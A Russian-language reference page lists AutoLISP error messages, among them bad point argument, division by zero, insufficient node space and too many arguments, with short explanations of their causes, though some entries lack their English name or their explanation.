Функция FOREACH столкнулась с элементом неверного типа.

bad point argument

В функцию, ожидающую точку, была передана неверно специфицированная точка. Будьте внимательны, не начинайте действительное число с десятичной точки; в подобных случаях необходимо число начинать с нуля.

Первый аргумент в функции BOOLE должен быть целым числом между 0 и 15.

can’t evaluate expression

Эта ошибка может произойти в случае неверного размещения десятичной точки или неверно сформированного выражения.

Недопустимое деление на ноль.

Встречено одна или более лишних правых скобок.

Описатель файла для операции ввода/вывода относится не к открытому файлу.

function undefined for argument

function undefined for real

В функцию вместо целочисленного аргумента было передано действительное число. Например : (LSH val 1.2)

Аргумент функции GCD отрицательное число или ноль.

incorrect number of arguments to a function

insufficient node space

Для выполнения требуемого действия недостаточно динамической памяти.

insufficient string space

Для размещения требуемой текстовой строки недостаточно динамической памяти.

Неверный тип аргумента или же аргумент выходит за пределы допустимых значений.

Выражение содержит неверный символ.

invalid dotted pair

Превышено пространство стека Автолиспа. Это может произойти либо в случае чрезмерной глубины рекурсивной функции, либо в случае очень большого списка аргументов.

Такое сообщение может быть получено в случае, когда действительное число начинается с десятичной точки; в подобных случаях необходимо число начинать с нуля.

Была предпринята попытка выполнить неизвестную функцию.

Во встроенную функцию было передано недостаточное число аргументов.

too many arguments

Во встроенную функцию было передано чрезмерное число аргументов.

Источник

0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии

А вот еще интересные материалы:

  • Яшка сломя голову остановился исправьте ошибки
  • Ясность цели позволяет целеустремленно добиваться намеченного исправьте ошибки
  • Ясность цели позволяет целеустремленно добиваться намеченного где ошибка
  • Autoexpert bc 40 ошибка
  • Autodesk ошибка применения преобразований